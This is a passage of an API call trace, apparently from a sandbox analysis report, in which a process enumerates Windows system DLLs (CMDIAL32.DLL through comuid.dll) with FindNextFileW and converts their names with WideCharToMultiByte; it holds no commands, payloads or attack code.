CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMDIAL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMDIAL32.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMDIAL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.866] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe6d2724, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xfe6d2724, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfc00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="cmicryptinstall.dll", cAlternateFileName="")) returned 1 [0040.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMICRYPTINSTALL.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0040.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMICRYPTINSTALL.DLL", cchWideChar=19, lpMultiByteStr=0x1d3c288, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMICRYPTINSTALL.DLL", lpUsedDefaultChar=0x0) returned 19 [0040.866] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bcbee, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x74bcbee, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10c00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="cmifw.dll", cAlternateFileName="")) returned 1 [0040.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIFW.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0040.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIFW.DLL", cchWideChar=9, lpMultiByteStr=0x1d3c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMIFW.DLL", lpUsedDefaultChar=0x0) returned 9 [0040.866] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f457, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x8f457, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4a600, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="cmipnpinstall.dll", cAlternateFileName="")) returned 1 [0040.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIPNPINSTALL.DLL", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0040.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIPNPINSTALL.DLL", cchWideChar=17, lpMultiByteStr=0x1d3c288, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMIPNPINSTALL.DLL", lpUsedDefaultChar=0x0) returned 17 [0040.867] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38f08433, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x38f08433, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x846bc3c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="cmlua.dll", cAlternateFileName="")) returned 1 [0040.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMLUA.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0040.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMLUA.DLL", cchWideChar=9, lpMultiByteStr=0x1d3c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMLUA.DLL", lpUsedDefaultChar=0x0) returned 9 [0040.867] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x391b5ce1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x391b5ce1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8477aaa0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6600, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="cmpbk32.dll", cAlternateFileName="")) returned 1 [0040.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMPBK32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMPBK32.DLL", cchWideChar=11, lpMultiByteStr=0x1d3c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMPBK32.DLL", lpUsedDefaultChar=0x0) returned 11 [0040.867] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3af76f19, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3af76f19, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8479f490, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="cmstplua.dll", cAlternateFileName="")) returned 1 [0040.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMSTPLUA.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMSTPLUA.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMSTPLUA.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.867] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3930c938, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3930c938, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8479f490, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb800, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="cmutil.dll", cAlternateFileName="")) returned 1 [0040.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMUTIL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMUTIL.DLL", cchWideChar=10, lpMultiByteStr=0x1d3c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMUTIL.DLL", lpUsedDefaultChar=0x0) returned 10 [0040.867] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3edf5019, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3edf5019, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x85c00920, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="cngaudit.dll", cAlternateFileName="")) returned 1 [0040.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGAUDIT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGAUDIT.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNGAUDIT.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.867] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe13d1623, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe13d1623, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x85c27a20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="cngprovider.dll", cAlternateFileName="")) returned 1 [0040.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGPROVIDER.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0040.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGPROVIDER.DLL", cchWideChar=15, lpMultiByteStr=0x1d3c288, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNGPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 15 [0040.867] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc8530d4, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xbc8530d4, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x863252f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="cnvfat.dll", cAlternateFileName="")) returned 1 [0040.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNVFAT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.867] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNVFAT.DLL", cchWideChar=10, lpMultiByteStr=0x1d3c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNVFAT.DLL", lpUsedDefaultChar=0x0) returned 10 [0040.868] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2a3e279, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd2a3e279, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xf800, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="colbact.dll", cAlternateFileName="")) returned 1 [0040.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLBACT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLBACT.DLL", cchWideChar=11, lpMultiByteStr=0x1d3c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLBACT.DLL", lpUsedDefaultChar=0x0) returned 11 [0040.868] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21891310, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x21891310, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x25800, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="COLORCNV.DLL", cAlternateFileName="")) returned 1 [0040.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORCNV.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORCNV.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLORCNV.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.868] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3357b6fd, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3357b6fd, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x94000, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="colorui.dll", cAlternateFileName="")) returned 1 [0040.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORUI.DLL", cchWideChar=11, lpMultiByteStr=0x1d3c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLORUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0040.868] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3830bb4, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xc3830bb4, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x8640aad0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="comcat.dll", cAlternateFileName="")) returned 1 [0040.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCAT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCAT.DLL", cchWideChar=10, lpMultiByteStr=0x1d3c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMCAT.DLL", lpUsedDefaultChar=0x0) returned 10 [0040.868] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87ba0407, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87ba0407, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87bc6567, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x81800, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="comctl32.dll", cAlternateFileName="")) returned 1 [0040.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCTL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCTL32.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMCTL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.868] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x831d597f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x831d597f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x831fbadf, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76a00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="comdlg32.dll", cAlternateFileName="")) returned 1 [0040.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMDLG32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMDLG32.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMDLG32.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.868] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54e040d9, ftCreationTime.dwHighDateTime=0x1ca0405, ftLastAccessTime.dwLowDateTime=0x54e040d9, ftLastAccessTime.dwHighDateTime=0x1ca0405, ftLastWriteTime.dwLowDateTime=0xa7e211c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x6c90, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="compobj.dll", cAlternateFileName="")) returned 1 [0040.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPOBJ.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPOBJ.DLL", cchWideChar=11, lpMultiByteStr=0x1d3c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPOBJ.DLL", lpUsedDefaultChar=0x0) returned 11 [0040.868] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafe90a34, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0xafe90a34, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x86560790, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x43800, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="compstui.dll", cAlternateFileName="")) returned 1 [0040.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPSTUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPSTUI.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPSTUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.869] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd737050d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd737050d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86560790, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="comrepl.dll", cAlternateFileName="")) returned 1 [0040.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMREPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMREPL.DLL", cchWideChar=11, lpMultiByteStr=0x1d3c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMREPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0040.869] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd1df40b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xcd1df40b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xae46d00, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x13cc00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="comres.dll", cAlternateFileName="")) returned 1 [0040.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMRES.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMRES.DLL", cchWideChar=10, lpMultiByteStr=0x1d3c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMRES.DLL", lpUsedDefaultChar=0x0) returned 10 [0040.869] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdca78724, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xdca78724, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865ac280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x35c00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="comsnap.dll", cAlternateFileName="")) returned 1 [0040.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSNAP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSNAP.DLL", cchWideChar=11, lpMultiByteStr=0x1d3c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMSNAP.DLL", lpUsedDefaultChar=0x0) returned 11 [0040.869] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfddbc751, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xfddbc751, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12f400, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="comsvcs.dll", cAlternateFileName="")) returned 1 [0040.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSVCS.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSVCS.DLL", cchWideChar=11, lpMultiByteStr=0x1d3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMSVCS.DLL", lpUsedDefaultChar=0x0) returned 11 [0040.869] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe726f31b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe726f31b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8ec00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="comuid.dll", cAlternateFileName="")) returned 1 [0040.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMUID.DLL", cchWideChar=10, lpMultiByteStr=0x0, 